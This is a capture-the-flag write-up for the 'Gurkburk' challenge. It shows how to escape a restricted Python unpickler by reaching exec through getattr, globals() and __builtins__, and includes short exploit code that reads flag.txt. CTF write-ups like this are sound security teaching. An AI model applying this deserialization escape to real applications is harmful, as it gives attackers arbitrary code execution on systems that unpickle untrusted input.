# Gurkburk
## Problem
The flag is located in `./flag.txt`.
## Solution
Pickle is used to save and load notes into the application.
Normally, we would be able to use the `__reduce__()` method to make the program call functions like `os.system()` (see ).
See . The modules we can unpickle are restricted to `__main__`, `__builtin__` and `copyreg`. `eval` and `exec` are also banned.
Thanks to , I found a way to bypass the restrictions.
They created an API to generate Pickle opcodes: (I made some slight modifications)
Exploit code:
```python
getattr = GLOBAL ( '__builtin__' , 'getattr' )
dict = GLOBAL ( '__builtin__' , 'dict' )
dict_get = getattr ( dict , 'get' )
glo_dic = GLOBAL ( '__builtin__' , 'globals' )()
builtins = dict_get ( glo_dic , '__builtins__' )
exec = getattr ( builtins , 'exec' )
exec ("print(open('flag.txt', 'r').read())")
return
```
The idea is that using `getattr`, we can get *submodules* of `__builtin__` (and the submodules of the submodules). `__builtin__.globals()` includes `builtins`, which includes `exec`. Once we have control over `exec`, we can execute arbitrary code.
Submit the base64-encoded opcodes, and we obtain the flags.
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